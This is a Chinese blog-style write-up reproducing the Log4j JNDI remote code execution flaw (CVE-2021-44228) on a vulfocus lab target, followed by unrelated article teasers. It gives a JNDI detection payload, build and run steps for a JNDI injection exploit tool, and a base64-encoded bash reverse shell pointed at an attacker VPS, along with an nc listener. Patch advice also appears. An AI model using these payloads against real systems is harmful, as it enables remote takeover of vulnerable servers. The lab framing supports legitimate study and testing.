[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

2023-10-25 18:20

本文主要是介绍[漏洞复现]log4j漏洞RCE(CVE-2021-44228),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章源自于个人博客:http://vfree.ltd/

前言

2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞,凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响

这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,总是说loggxxx模块不存在…idea也犯毛病…果断直接用网上的靶机去复现一波

1.漏洞信息

漏洞信息
漏洞名称Apche log4j远程代码执行漏洞
漏洞编码CVE-2021-44228
漏洞危害严重
漏洞时间2021/12/10
受影响版本Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC已知
EXP已知

1.1漏洞描述

apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失

2.受影响组件

根据网上公开的信息来看,目前一下组件是已知搜受影响的插件

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

3.漏洞靶场

  • catflag: 暂无
  • 掌控安全: http://d63bb2586.lab.aqlab.cn/
  • vulfocus: http://vulfocus.fofa.so/#/dashboard
  • ctfshow: https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730
  • bugku: https://ctf.bugku.com/challenges/detail/id/340.html

4.dnslog platform

  • dnslog: http://www.dnslog.cn/
  • dnslog:https://log.xn–9tr.com/
  • ceye:http://ceye.io/

5.漏洞复现(如果是仅作是否存在该漏洞测试,使用这条payload即可)

测试POC:

payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}

5.1 本地测试

本地测试: Github: https://github.com/fengxuangit/log4j_vuln

5.2靶场复现---vulfocus

这里以vulfocus靶场进行复现,本文目的是为了让学习和研究该漏洞,禁用用于任何非法行为

5.1.1 复现开始

1.构造环境

最好是配置jdk1.8.0_172的版本,更高的版本可以无法利用成功
在反弹shell同时,需要在vps本地构建一个ldap服务

GitHub: https://github.com/welk1n/JNDI-Injection-Exploit使用:1.cd JNDI-Injection-Exploit2.mvn clean package -DskipTests3.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"if '提示' == 'bash: mvn: command not found':参考文章: https://blog.csdn.net/jiangyu1013/article/details/103584140

使用mvn构建完成后,会在该文件夹下新建一个target的文件夹,记录该文件夹

2.打开靶机

访问地址根据给出的为准

3.访问题目

注意:题目url要加/hello,并且要以post的方式定义payload值进行传参)

即:url/hello POSTDATA:payload=xxxxxxxx

4. POC测试

在本文上面的第四点讲到的dnslog platform中任意找一个可用的dnslog平台获取一个dns,然后构造payload测试是否存在漏洞

payload传入成功会回显ok


> Got SubDomain :获取dns > Rcfrcsh Rcord :获取目标是否有解析会回来,如果有的话,说明该站可能纯在log4j的漏洞

传入payload (${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]})

回到dnslog platform查看是否有解析记录

如果dnslog platform返回了类似上面的内容的花,即证明该漏洞存在切可用

5.构造环境

使用到第一步搭建好的 JNDI-Injection-Exploit

在JNDI-Injection-Exploit目录下执行

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

比如这样子↓

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ---> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx

 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1注意:根据自身情况调整payload
6.打开监听

另起终端,打开nc -lvp 端口 进行监听

7.Attack

vulfocus的靶机,用类似下面这个payload


8.成功getshell

6.修复建议

  • 1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
  • 2.配置防火墙策略,禁止主动连接外网设备
  • 3.升级受影响的应用及组件
  • 4.过滤相关的关键词,比如${jndi://*}

注意,2021/12/10 360漏洞云发布二次通告预警,官方发布的修复rc1版本仍然可以绕过,请使用该版本的的用户尽快升级至rc2

7.注意的点

所有漏洞复现文章仅供学习交流使用,禁止用于非法用途!!!

这篇关于[漏洞复现]log4j漏洞RCE(CVE-2021-44228)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/284368

相关文章

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c